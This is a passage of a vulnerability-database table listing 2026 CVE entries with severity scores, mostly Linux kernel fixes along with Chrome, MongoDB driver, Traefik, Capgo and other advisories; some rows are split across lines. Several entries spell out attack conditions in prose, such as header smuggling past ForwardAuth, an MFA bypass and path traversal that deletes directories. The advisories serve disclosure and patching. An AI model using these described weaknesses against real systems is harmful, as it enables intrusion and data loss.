CVE-2026-89560	In the Linux kernel, the following vulnerability has been resolved: landlock: Require LANDLOCK_ACCESS_FS_MAKE_REG for whiteout creation Whiteout objects are used in the upper layer of an OverlayFS to indicate that the file with this name does not exist in the unified view, even if it is present in one of the lower layer file systems. For the userspace implementations of OverlayFS (fuse-overlayfs), whiteout objects can be created from userspace as well: * mknod(2) with S_IFCHR and makedev(0, 0) * renameat2(2) with RENAME_WHITEOUT, creating the whiteout in the old place of the moved file. This commit guards whiteout creation in both of these cases with LANDLOCK_ACCESS_FS_MAKE_REG. Whiteout objects are *not* considered character devices and are not bound to a driver. LANDLOCK_ACCESS_FS_MAKE_REG describes the same permission class as a whiteout object: creating one is the only S_IFCHR creation that the VFS exempts from CAP_MKNOD, so it is as unprivileged as creating a regular file, while LANDLOCK_ACCESS_FS_MAKE_CHAR and LANDLOCK_ACCESS_FS_MAKE_BLOCK keep meaning the creation of devices that expose a kernel interface [1]. For the mknod(2) case, introduce a Landlock erratum. The creation of whiteout objects through mknod(2) was previously guarded using LANDLOCK_ACCESS_FS_MAKE_CHAR, and it is now guarded using LANDLOCK_ACCESS_FS_MAKE_REG. For the renameat2(2) case, fix a bug: Before this commit, renameat2(2) with RENAME_WHITEOUT would create a directory entry even when all LANDLOCK_ACCESS_FS_MAKE_* rights were denied. This does not affect normal renames within layered OverlayFS mounts: When doing a regular rename() on a mounted fuse-overlayfs, it is the fuse-overlayfs daemon that exercises renameat2() with RENAME_WHITEOUT, and only the Landlock domain of that daemon is checked there. Depends-on: 49c9e09d9610 ("landlock: Fix handling of disconnected directories") Depends-on: fe72ce6710cb ("landlock: Add errata documentation section") [mic: Record why LANDLOCK_ACCESS_FS_MAKE_REG is the matching right, and add link(2) to the user doc]	8.4	More Details
CVE-	In the Linux kernel, the following vulnerability has been resolved: fs/ntfs3: bound page_lcns[] index by the log record The copy_lcns loop and the redo shorten loop index page_lcns[] at j + i, where i runs up to the log record's lcns_follow. That count is checked only against the record's own length, not the target entry, so check_dp_table() (which validates the entry's lcns_follow) does not cover it: the copy_lcns entry may even be		

2026-89615	freshly allocated after that check, and find_dp() bounds j but not i. A crafted record thus overflows page_lcns[] of an otherwise valid entry. Add dp_range_ok() and reject, before each loop, any record whose run does not fit the entry. These are the only two page_lcns[] accesses indexed by the record rather than the entry, so together with the entry validation every access is now bounded. [almaz.alexandrovich@paragon-software.com: original patch contained changes to the problem already handled, applied partly]	8.4	More Details
CVE-2026-71614	An issue in GPAC c2dee3aff638cd96f9617ac5b17dc2868cd90ef3 allows an attacker to execute arbitrary code via the src/media_tools/dvb_mpe.c, descriptorTime_slice_fec_identifier() and gf_m2ts_ipdatagram_reader() components. Fixed in 0e4093392e1f847c90d20e031e893cd942fef938.	8.4	More Details
CVE-2026-89469	In the Linux kernel, the following vulnerability has been resolved: power: supply: lp8727: fix use-after-free in lp8727_release_irq() lp8727_isr_func(), the threaded IRQ handler, is the only caller that arms pchg->work via schedule_delayed_work(). lp8727_release_irq() currently cancels the work before freeing the IRQ, so an IRQ delivered in between can re-arm the work through the threaded handler. After .remove returns the devm layer frees pchg while lp8727_delayed_func() may still run and dereference it. Free the IRQ first so the threaded handler is quiesced and can no longer queue work, then cancel the delayed work to drain the final generation. This issue was found by an in-house static analysis tool.	8.4	More Details
CVE-2026-89470	In the Linux kernel, the following vulnerability has been resolved: power: supply: cros_usbpd: Limit port counts to EC_USB_PD_MAX_PORTS Currently the cros_usbpd-charger driver probe iterates based on raw charger port count returned by the embedded controller. The only check is against the number of USB PD ports which the embedded controller also defines. A malicious embedded controller could return an inaccurate port count (up to 255) resulting in an out of bounds write and subsequent memory corruption. Update helper functions in cros_usbpd-charger to limit port counts to EC_USB_PD_MAX_PORTS.	8.4	More Details
CVE-2026-80967	In the Linux kernel, the following vulnerability has been resolved: ALSA: pcxhr: initialize mutexes before requesting threaded IRQ pcxhr_probe() requests pcxhr_threaded_irq() before initializing mgr->lock, even though the threaded handler takes that mutex. Initialize the manager locks before request_threaded_irq() so an early interrupt cannot run against uninitialized mutex state during probe.	8.4	More Details
CVE-2026-82079	A stack-based buffer overflow vulnerability in the Nintendo Switch local wireless networking functionality may allow an attacker within wireless range to execute arbitrary code using return-oriented programming (ROP) through crafted network traffic. This issue affects Nintendo Switch: before 23.0.0.	8.4	More Details
CVE-2026-42805	A stack-based buffer overflow vulnerability exists in the Bosch Sensortec BHI385 SensorAPI (C library) within the debug message parser function bhi385_parse_debug_message (located in bhi385_parse.c). The function parses FIFO events and extracts an 8-bit message length directly from the attacker-controlled event payload (callback_info->data_ptr[0]) without enforcing bounds checks or clamping the value. When copying the payload into a fixed-size stack buffer of 17 bytes (uint8_t debug_msg[17]) via memcpy, providing a length byte greater than 16 causes the function to write past the allocated stack boundary. This memory corruption can be triggered by a malicious or compromised sensor or bus participant, leading to a firmware crash, Denial of Service (DoS), or potentially the execution of arbitrary code via adjacent stack data corruption.	8.4	More Details
CVE-2026-89471	In the Linux kernel, the following vulnerability has been resolved: power: supply: cros_usbpd-charger: bound the EC-reported port count cros_usbpd_charger_probe() reads two port counts from the EC and uses one of them, num_charger_ports, as the loop bound when populating a fixed-size array: struct port_data *ports[EC_USB_PD_MAX_PORTS]; /* 8 entries */ ... for (i = 0; i < charger->num_charger_ports; i++) charger->ports[charger->num_registered_psy++] = port; Both num_usbpd_ports (from EC_CMD_USB_PD_PORTS) and num_charger_ports (from EC_CMD_CHARGE_PORT_COUNT) are u8 values reported by the EC. The only validation is a sanity check that compares the two EC-reported values against each other: if (num_charger_ports < num_usbpd_ports || num_charger_ports > num_usbpd_ports + 1) return -EPROTO; It never checks either count against EC_USB_PD_MAX_PORTS, the size of the ports[] array. A malfunctioning, malicious or compromised EC that reports num_usbpd_ports == num_charger_ports == N for any N > 8 (for example both 255) passes this check, and the loop then writes N pointers into the 8-entry ports[] array embedded in the devm_kzalloc()'d charger_data, overflowing it by up to 255 - 8 = 247 entries (~1976 bytes): a slab out-of-bounds write. Reject a port count larger than the ports[] array can hold.	8.4	More Details
CVE-2026-81017	In the Linux kernel, the following vulnerability has been resolved: platform/chrome: sensorhub: Bound the EC-reported sensor number Each EC FIFO event carries an 8-bit sensor number (in->sensor_num). cros_ec_sensorhub_ring_handler() validates the FIFO event count, the per-read count and the ring bound, but not the sensor number, which cros_ec_sensor_ring_process_event() then uses unchecked to index sensorhub->batch_state[] - allocated with only sensorhub->sensor_num entries. A sensor number of sensor_num or larger is an out-of-bounds read and write of batch_state[]. Validate the sensor number in the ring handler, where each event is read from the EC, and drop a malformed event before it is used.	8.4	More Details
CVE-2026-89588	In the Linux kernel, the following vulnerability has been resolved: ACPI: APEI: GHES: fix ARM section length accounting after header In ghes_handle_arm_hw_error(), after skipping the cper_sec_proc_arm header with (err + 1), the remaining length was reduced by sizeof(err) (pointer size) instead of sizeof(*err) (structure size). That overestimates the bytes left for cper_arm_err_info records and can let the parser read past the CPER section when err_info_num is large enough relative to error_data_length. Use sizeof(*err) so the length accounting matches the pointer advance and the earlier sizeof(*err) size check.	8.4	More Details

CVE-2026-80932	In the Linux kernel, the following vulnerability has been resolved: vsock/virtio: flush works in dependency order virtio_vsock_remove() stops the virtqueues and then flushes each work item before freeing the enclosing virtio_vsock. The current order does not account for dependencies between those items: tx_work may queue send_pkt_work, and send_pkt_work may queue rx_work. In particular, send_pkt_work can set restart_rx and release tx_lock. The remove path can then stop the queues and flush rx_work before send_pkt_work queues it. Although the later send_pkt_work flush waits for that producer to finish, nothing waits for the newly queued rx_work, so kfree(vsock) can race with it. KASAN reported: BUG: KASAN: slab-use-after-free in virtio_transport_rx_work+0x487/0x4b0 Read of size 8 at addr ffff888114c2b008 by task kworker/1:1/47 Workqueue: virtio_vsock virtio_transport_rx_work Call Trace: virtio_transport_rx_work+0x487/0x4b0 process_one_work+0x688/0x1120 worker_thread+0x45b/0xd10 Allocated by task 1: virtio_vsock_probe+0xef/0x6b0 Freed by task 84: kfree+0x131/0x3c0 virtio_vsock_remove+0xd1/0x100 Flush the works in producer-to-consumer order. virtio_vsock_vqs_del() has already disabled the queue callbacks and cleared the run flags, so after tx_work and send_pkt_work are drained, no source remains that can queue rx_work after its flush.	8.4	More Details
CVE-2026-89452	In the Linux kernel, the following vulnerability has been resolved: iommu/msm: Unwind probe state on registration failure msm_iommu_probe() adds its devm-managed IOMMU object to qcom_iommu_devices before adding the IOMMU sysfs device and registering it with the IOMMU core. If iommu_device_sysfs_add() fails, probe returns with the object still on qcom_iommu_devices. The driver core then releases the devm allocation, leaving a dangling list entry that later list walks may dereference. If iommu_device_register() fails, the same dangling list entry remains and the sysfs device is left registered as well. Unwind the sysfs device and global list entry in reverse setup order on the corresponding failure paths.	8.4	More Details
CVE-2026-87487	Missing authorization in FileSystem in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process and leveraged social engineering to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)	8.3	More Details
CVE-2026-87480	Use after free in Printing in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)	8.3	More Details
CVE-2026-87481	Incorrect authorization in WebView in Google Chrome on on Android prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)	8.3	More Details
CVE-2026-87572	Injection in DevTools in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)	8.3	More Details
CVE-2026-88030	Improper neutralization of special elements in data query logic in the GridFS component of the MongoDB Ruby Driver can cause a caller-supplied structured file identifier to be interpreted as a query condition rather than as a literal identifier. An authenticated user who can influence the identifier passed by an affected application may obtain stored file content beyond the intended target or cause all GridFS file chunks in the affected bucket to be removed, rendering stored file content unreadable.	8.3	More Details
CVE-2026-87639	Use after free in WebPackaging in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)	8.3	More Details
CVE-2026-88939	knowns through 0.33.0 exempts the project.set action from permission guard checks unconditionally, allowing read-only agent sessions to bypass restrictions. Attackers can invoke project.set to repoint the server at another project directory and obtain write access capabilities.	8.3	More Details
CVE-2026-80469	An attacker may achieve arbitrary code execution on a target system by uploading a malicious device driver package, bypassing driver verification mechanisms, and triggering the execution of attacker-controlled code. User interaction is required.	8.3	More Details
CVE-2026-87644	Incorrect authorization in Views in Google Chrome on on Windows prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process and leveraged social engineering to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)	8.3	More Details
CVE-2026-87628	Use after free in Cast in Google Chrome prior to 153.0.8010.36 allowed an adjacent attacker to potentially execute arbitrary code outside the sandbox via crafted network traffic. (Chromium security severity: Critical)	8.3	More Details
CVE-2026-87582	Confused deputy in DataTransfer in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)	8.3	More Details
CVE-2026-	Improper neutralization of special elements in data query logic in the GridFS component of the MongoDB Python Driver can cause a caller-supplied structured file identifier to be interpreted as a query condition rather than as a literal identifier. An authenticated user who can influence the identifier passed by an	8.3	More

88029	affected application may obtain stored file content beyond the intended target or cause all GridFS file chunks in the affected bucket to be removed, rendering stored file content unreadable. The affected rename operation may also rename a stored file other than the intended target.		Details
CVE-2026-87648	Use after free in ANGLE in Google Chrome on on Windows prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)	8.3	More Details
CVE-2026-64838	ICEcoder versions through 8.1 fail to properly validate the oldFileName parameter in file move and rename operations, allowing authenticated users to relocate files from outside the document root. Attackers can use path traversal sequences in oldFileName to move files writable by the PHP process into the web-accessible project directory, disclosing file contents and deleting originals.	8.3	More Details
CVE-2026-88025	Improper neutralization of special elements in data query logic in the GridFS component of the MongoDB C# Driver can cause a caller-supplied structured file identifier to be interpreted as a query condition rather than as a literal identifier. An authenticated user who can influence the identifier passed by an affected application may obtain stored file content beyond the intended target or cause all GridFS file chunks in the affected bucket to be removed, rendering stored file content unreadable. The affected rename operation may also rename a stored file other than the intended target.	8.3	More Details
CVE-2026-88023	Improper neutralization of special elements in data query logic in the GridFS component of the MongoDB PHP Library can cause a caller-supplied structured file identifier to be interpreted as a query condition rather than as a literal identifier. An authenticated user who can influence the identifier passed by an affected application may obtain stored file content beyond the intended target or cause all GridFS file chunks in the affected bucket to be removed, rendering stored file content unreadable. The affected rename operation may also rename a stored file other than the intended target.	8.3	More Details
CVE-2026-87578	Use after free in Receiver in Google Chrome prior to 153.0.8010.36 allowed an adjacent attacker to execute arbitrary code outside the sandbox via crafted network traffic. (Chromium security severity: High)	8.3	More Details
CVE-2026-90510	A security vulnerability has been detected in dromara orion-visor up to 2.5.7. This affects the function HostKeyServiceImpl.encryptKey of the file orion-visor-modules/orion-visor-module-asset/orion-visor-module-asset-service/src/main/java/org/dromara/visor/module/asset/service/impl/HostKeyServiceImpl.java. The manipulation leads to use of hard-coded cryptographic key . The attack is possible to be carried out remotely. The exploit has been disclosed publicly and may be used. The project was informed of the problem early through an issue report but has not responded yet.	8.3	More Details
CVE-2026-87524	Use after free in Core in Google Chrome on on Windows prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)	8.3	More Details
CVE-2026-54174	melange allows users to build apk packages using declarative pipelines. Apko prior to version 1.2.9, corresponding to melange prior to version 0.50.4, verified the control section hash (`.PKGINFO` etc.) against the signed `APKINDEX`, but never verified the data section hash (the actual package files that get installed). An attacker who could compromise a mirror, poison a cache, or MITM a package fetch could substitute arbitrary file contents while the control hash check still passed. Apko version 1.2.9 and melange version 0.50.4 contain a fix.	8.3	More Details
CVE-2026-88036	Improper neutralization of special elements in data query logic in the GridFS component of the MongoDB C Driver can cause a caller-supplied structured file identifier to be interpreted as a query condition rather than as a literal identifier. An authenticated user who can influence the identifier passed by an affected application may obtain stored file content beyond the intended target or cause all GridFS file chunks in the affected bucket to be removed, rendering stored file content unreadable.	8.3	More Details
CVE-2026-87616	Improper initialization in Views in Google Chrome on on Windows prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process and leveraged social engineering to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)	8.3	More Details
CVE-2026-88034	Improper neutralization of special elements in data query logic in the GridFS component of the MongoDB C++ Driver can cause a caller-supplied structured file identifier to be interpreted as a query condition rather than as a literal identifier. An authenticated user who can influence the identifier passed by an affected application may obtain stored file content beyond the intended target or cause all GridFS file chunks in the affected bucket to be removed, rendering stored file content unreadable.	8.3	More Details
CVE-2026-88891	OpenPanel fails to enforce read-only project access level on 26 of 29 mutating procedures, allowing read-level members to modify, delete, and publish project data. Attackers with explicit read-only access can delete reports and dashboards, schedule entire projects for deletion, publish private analytics to public share links, and modify alerting rules by exploiting missing access level validation in mutation resolvers.	8.3	More Details
CVE-2026-	Out of bounds read in ANGLE in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to potentially execute arbitrary code outside the sandbox via a crafted	8.3	More

87604	HTML page. (Chromium security severity: High)		Details
CVE-2026-87506	Privilege elevation in WebUI in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)	8.3	More Details
CVE-2026-88033	Improper neutralization of special elements in data query logic in the GridFS component of the MongoDB Java Driver can cause a caller-supplied structured file identifier to be interpreted as a query condition rather than as a literal identifier. An authenticated user who can influence the identifier passed by an affected application may obtain stored file content beyond the intended target or cause all GridFS file chunks in the affected bucket to be removed, rendering stored file content unreadable. The affected rename operation may also rename a stored file other than the intended target.	8.3	More Details
CVE-2026-87510	Improper input validation in FileAPI in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)	8.3	More Details
CVE-2026-87034	Tanium addressed a SQL injection vulnerability in Comply.	8.3	More Details
CVE-2026-88024	Improper neutralization of special elements in data query logic in the GridFS component of the MongoDB Rust Driver can cause a caller-supplied structured file identifier to be interpreted as a query condition rather than as a literal identifier. An authenticated user who can influence the identifier passed by an affected application may obtain stored file content beyond the intended target or cause all GridFS file chunks in the affected bucket to be removed, rendering stored file content unreadable.	8.3	More Details
CVE-2026-87090	Consul and Consul Enterprise are vulnerable to an authorization bypass in the catalog node-write path that may allow an authenticated attacker to delete another node's catalog registration and take over its node identity. An attacker with a token granting node-write permission on any single node name may exploit this issue if they can obtain the node ID of a node they do not control. This vulnerability (CVE-2026-87090) is fixed in Consul 2.0.4 and Consul Enterprise 1.21.18, 1.22.12 and 2.0.4.	8.3	More Details
CVE-2026-82583	NextGen Connect (Mirth Connect) versions 4.7.1 and earlier allow an authenticated user to execute arbitrary SQL through a Database Connector API, which could result in disclosure of stored credentials for connected systems, arbitrary file write, and a denial-of-service condition.	8.3	More Details
CVE-2026-87618	Incorrect reference resolution in Storage in Google Chrome on on Windows prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Low)	8.3	More Details
CVE-2026-88861	Capgo (Cap-go/capgo.app) contains an authentication bypass affecting all versions (no patched version available at time of publication). The Edge authorization path allows a password-only Supabase aal1 session to exercise privileged RBAC permissions even when the account has a verified MFA factor that has not been used for the session: the Edge JWT middleware (foundJWT() in supabase/functions/_backend/utils/hono_middleware.ts) accepts the JWT without validating its assurance level, and the direct RBAC path (checkPermission()/checkPermissionPg() in supabase/functions/_backend/utils/rbac.ts calling public.rbac_check_permission_direct()) authorizes by user ID without passing or checking the session aal, unlike the public.verify_mfa() control which correctly requires aal2. An attacker who knows only the victim's password can therefore authenticate, mint a persistent app-scoped app_admin API key that remains valid after the aal1 session is logged out, and perform privileged operations such as modifying production OTA channel configurations (validated by changing a public production channel from bundle 1.0.0 to 1.0.1), defeating the protection provided by MFA.	8.3	More Details
CVE-2026-87479	Insufficient policy enforcement in Extensions in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process and leveraged social engineering to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)	8.3	More Details
CVE-2026-87553	Improper input validation in SiteIsolation in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)	8.3	More Details
CVE-2026-78224	The XSLT Transformer Step builds a bare TransformerFactory without the proper security options set, so XXE injection can allow data exfiltration and denial-of-service attacks.	8.2	More Details
CVE-2026-12855	Unvalidated memory boundary could result in arbitrary code execution. The vulnerability exists in the code developed specifically for HP projects.	8.2	More Details
CVE-2026-	Chainlit through 2.12.0 fails to validate the client-supplied socket.io sessionId parameter, allowing unauthenticated attackers to traverse filesystem paths by injecting absolute or relative path sequences.	8.2	More

86099	Attackers can craft malicious sessionId values that escape the upload directory and recursively delete arbitrary directories accessible to the service process.		Details
CVE-2026-89266	stb_vorbis through 1.22 contains a heap buffer overflow in start_decoder() where the codebook multiplicands allocation size is truncated from size_t to int. Attackers can craft a malicious Ogg Vorbis file with large entries and dimensions values to trigger out-of-bounds writes, causing process crashes or heap corruption.	8.2	More Details
CVE-2026-87927	MaxSite CMS through 109.6 contains a local file inclusion vulnerability in the ajax and require-maxsite dispatchers that allows unauthenticated attackers to execute privileged handler files by supplying base64-encoded path traversal sequences. Attackers can bypass path validation checks and execute admin-gated handler actions without authentication to access sensitive functionality.	8.2	More Details
CVE-2026-88009	Traefik is an open source HTTP reverse proxy and load balancer. Prior to 2.11.57, and 3.7.13, Traefik accepts a rootless HTTP/1 request target that Go stores in URL.Opaque while leaving URL.Path empty. The rewriteRequestBuilder path evaluates routing, path sanitization, forwardAuth, encodedCharacters, and access logging against a path normalized to / but forwards URL.Opaque verbatim to the backend, allowing cross-vhost routing bypass, path-scoped authorization bypass, and access-log evasion when the backend interprets the opaque target as a path. This issue is fixed in 2.11.57 and 3.7.13.	8.2	More Details
CVE-2026-53938	OpenIDC/cjose is a C library implementing the Javascript Object Signing and Encryption (JOSE). Prior to version 0.6.2.5, cjose's JWE decryption path for the AES Key Wrap key-management algorithms (`alg` = `A128KW`, `A192KW`, `A256KW`) does not validate the length of the attacker-supplied `encrypted_key` (JWE Encrypted Key) before unwrapping it into a fixed-size, heap-allocated Content Encryption Key (CEK) buffer. A remote, unauthenticated attacker who can submit a crafted JWE to an application that decrypts it with an AES-KW symmetric key can trigger an out-of-bounds heap write, corrupting the heap. This leads at minimum to a crash (denial of service) and, depending on the heap layout and allocator, may be leverageable for further memory-corruption impact. `cjose_jwe_import()` / `cjose_jwe_decrypt()` are pre-authentication entry points: they parse and process fully attacker-controlled input. Upgrade to cjose 0.6.2.5 to receive a patch. If upgrading is not immediately possible, reject the AES Key Wrap algorithms (`A128KW`/`A192KW`/`A256KW`) for untrusted JWEs at the application layer.	8.2	More Details
CVE-2026-88879	Traefik is an HTTP reverse proxy and load balancer. In Traefik v1.x, v2.x through v2.11.55, and v3.0.0 through v3.7.11, header names are canonicalized only on dashes, so X-Auth-User, X_Auth_User and X.Auth.User are treated as three distinct headers by Traefik, while backends that derive variable names from header names (CGI, WSGI, PHP, NGINX and others) collapse them into a single variable. A client can therefore smuggle a dot-form alias of a header that Traefik manages past the middleware managing it — for example supplying X.Authenticated.User alongside the canonical X-Authenticated-User written by the ForwardAuth middleware — causing such a backend to read the client-supplied value instead of the identity Traefik asserted. In the tested configuration (PHP 8.2 built-in SAPI over an HTTP/1 backend path), Go's lexical header ordering makes the attacker-supplied value win deterministically, so a client that ForwardAuth admits as a low-privilege identity can be treated by the backend as a different user or role. Any header Traefik sets is affected, not only ForwardAuth's. This is an incomplete fix for GHSA-x677-9fxg-v5c5, which blocked only the underscore form. Fixed in v2.11.56 and v3.7.12, which add the aliasHeadersStrategy entry-point option; because it defaults to 'keep' for backwards compatibility, it must be explicitly set to 'delete' or 'reject' for the fix to take effect. Unmaintained release lines will not receive a patch.	8.2	More Details
CVE-2026-6485	UEFI BIOS embedded Shell could be used to bypass Secure Boot via shell commands or startup scripts.	8.2	More Details
CVE-2026-87823	zstd-jni before 1.5.7-14 performs 32-bit signed bounds checks on three direct-ByteBuffer frame-size native methods, allowing out-of-bounds memory reads via negative or overflowing offsets. Attackers can supply negative offset values near Integer.MIN_VALUE to read unmapped memory, causing JVM termination or extracting arbitrary frame size data from unintended memory locations.	8.2	More Details
CVE-2026-87795	zstd-jni versions before 1.5.7-14 fail to validate offset and length parameters in the ZstdDictCompress constructor, allowing out-of-bounds memory reads. Attackers can supply untrusted offset or length values to read native heap memory into the compression dictionary, typically causing JVM crashes.	8.2	More Details
CVE-2026-89711	In the Linux kernel, the following vulnerability has been resolved: NFSD: remove flawed WARN_ON_ONCE from nfsd_mode_check The header for commit e75b23f9e323 ("nfsd: check d_can_lookup in fh_verify of directories") details the assumption that justified adding the WARN_ON_ONCE to nfsd_mode_check(), that assumption is invalid (in the case of NFS reexport). When NFSD exports an NFS filesystem it is very possible for nfsd_mode_check() to encounter a @dentry that doesn't have i_op->lookup (see nfs_fhget()'s NFS_ATTR_FATTR_MOUNTPOINT and NFS_ATTR_FATTR_V4_REFERRAL handling, and d_flags_for_inode()). So remove nfsd_mode_check()'s WARN_ON_ONCE(). The nfserr_notdir return on that branch must stay. It guards the subsequent lookup_one_unlocked() -> __lookup_slow() path, which calls inode->i_op->lookup() with no NULL check, so returning nfserr_notdir is what keeps a client LOOKUP into such a @dentry from dereferencing a NULL method pointer.	8.2	More Details
	In the Linux kernel, the following vulnerability has been resolved: nfsd: reject out-of-range useconds in NFSv2 SETATTR/CREATE The NFSv2 sattr decoder converts the wire useconds to nanoseconds in		

CVE-2026-89665	svcxdr_decode_sattr(): iap->ia_atime.tv_nsec = tmp2 * NSEC_PER_USEC; tmp2 is a u32 and NSEC_PER_USEC is 1000, so the product is computed in unsigned long. On ILP32 that is 32 bits, and an out-of-range useconds value such as 4294968 wraps to tv_nsec == 704. The corruption therefore happens during decode, before any proc function can inspect the value, and a later range check on tv_nsec would see an in-range result and accept it. Rejecting in the decoder yields an RPC GARBAGE_ARGS reply. NFSv2 defines no NFSERR_INVAL, so there is no NFS-level status to return for a malformed time argument, and the check cannot move to the proc function the way the v3/v4 nsec range checks do. Guard the raw useconds before the multiplication and reject values greater than 1000000. useconds == 1000000 is kept: it is the Sun convention for "set to the current server time", and the in-tree Linux NFSv2 client emits it in both the atime and the mtime field for a plain touch / utimes(file, NULL) (see encode_sattr() and xdr_encode_current_server_time() in fs/nfs/nfs2xdr.c). Rejecting 1000000 would turn that common operation into a hard decode failure for both SETATTR and CREATE. 1000000 * NSEC_PER_USEC is 10^9, which does not wrap on ILP32, so the Sun convention value passes through safely. Only genuinely out-of-range values (> 1000000) are rejected. The atime and mtime guards are therefore symmetric. The decoder only applied the Sun convention in the mtime block, which clears ATTR_ATIME_SET|ATTR_MTIME_SET when mtime useconds == 1000000. If a client puts 1000000 in the atime field but not in the mtime field, the atime block stored an out-of-range tv_nsec (10^9) and left ATTR_ATIME_SET set, so the bogus value reached the filesystem. Apply the convention in the atime block as well, clearing ATTR_ATIME_SET so the server uses its current time and ignores the value. Only ATTR_ATIME_SET is cleared there. The mtime block keeps its existing behavior, where 1000000 means "set both atime and mtime to now". [cel: various tweaks, addenda, and clean-ups]	8.2	More Details
CVE-2026-89554	In the Linux kernel, the following vulnerability has been resolved: mptcp: fix uninitialized local_id in syncookie MP_JOIN reconstruction mptcp_token_join_cookie_init_state() restores remote_nonce, local_nonce, backup, join_id, token and msk from the saved cookie entry when rebuilding the request socket for a MP_JOIN 4th-ACK handled under SYN cookies, but it does not restore local_id, even though the SYN path saved it. subflow_ulp_clone() then reads that uninitialized field and stores it as the joined subflow's address-ID. Because the request-sock slab is SLAB_TYPESAFE_BY_RCU and not zeroed on allocation, the value is the stale byte of a previously freed request socket, which an off-path peer can influence by sending concurrent MP_JOIN SYNs. This corrupts the path manager's id-based subflow bookkeeping for the connection. Restore subflow_req->local_id from the cookie entry, as done for the other fields.	8.2	More Details
CVE-2026-89054	A missing authorization vulnerability in OpenNMS Horizon allows configuration changes without authentication. The Spring Security policy for the /api/v2 REST API defines authorization rules for every HTTP method except PATCH, so the shipped @PATCH configuration endpoints for event configuration and SNMP data collection (which enable and disable event definitions and data-collection sources) are reachable with no authorization enforced. An unauthenticated attacker able to reach the web UI can disable event definitions and SNMP data collection, suppressing event and alarm generation and stopping metric collection - silently degrading monitoring and detection - with the change persisted and reloaded into the running system. The solution is to upgrade to Horizon 36.0.4 or newer. Meridian and Horizon installation instructions state that they are intended for installation within an organization's private networks and should not be directly accessible from the Internet.	8.2	More Details
CVE-2026-80985	In the Linux kernel, the following vulnerability has been resolved: net/smc: carry oversized SMC-Rv2 LLC messages in the queue entry smc_llc_rmt_delete_rkey() and smc_llc_save_add_link_rkeys() read the part of a v2 message that does not fit into the 44-byte union smc_llc_msg, and both bound themselves by the size of the buffer it landed in, not by what arrived. On a link with a shared v2 receive buffer a 44-byte DELETE_RKEY_V2 declaring 255 rkeys reaches rkey[9..254] in whatever an earlier message left in lgr->wr_rx_buf_v2, and passes each of them to smc_rtoken_delete(). One of those 255 matched a registered rtoken and deleted it. An ADD_LINK on such a link installs up to 255 rtokens from the same bytes. Copy the tail into the queue entry, so its length is the length of the message that arrived, and declare the rkeys that fit inline as a member of the union instead of reaching them through a cast. The same DELETE_RKEY_V2 now processes the 9 rkeys it carries. The copy is limited to the longest tail the two functions can read, so the peer does not pick the size of the entry. The bound the previous patch placed on links without a shared v2 receive buffer is no longer needed.	8.2	More Details
CVE-2026-78491	Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Certificate Validation vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to unauthorized access.	8.2	More Details
CVE-2026-89632	In the Linux kernel, the following vulnerability has been resolved: smb: client: fix use-before-check of ReparseDataLength in reparse_buf_ptr() reparse_buf_ptr() reads buf->ReparseDataLength before checking that count covers the full fixed header: buf = (struct reparse_data_buffer *)((u8 *)io + off); len = sizeof(*buf); /* 8 bytes */ rdlen = le16_to_cpu(buf->ReparseDataLength); /* offset 4, 2 bytes */ if (count < len || count < rdlen + len) /* check comes after */ struct reparse_data_buffer has ReparseDataLength at offset 4. If a server returns OutputCount < 6, the read at offset 4-5 reaches past the end of the received data. The off+count bounds against iov_len were already validated, but that does not protect against count being smaller than sizeof(*buf). Split the check: verify count >= sizeof(*buf) before reading ReparseDataLength, then verify count covers the data region.	8.2	More Details
	In the Linux kernel, the following vulnerability has been resolved: ata: libata-scsi: fix DSM TRIM for sector sizes larger than 2048 bytes ata_scsi_write_same_xlat() translates a SCSI WRITE SAME command with the		

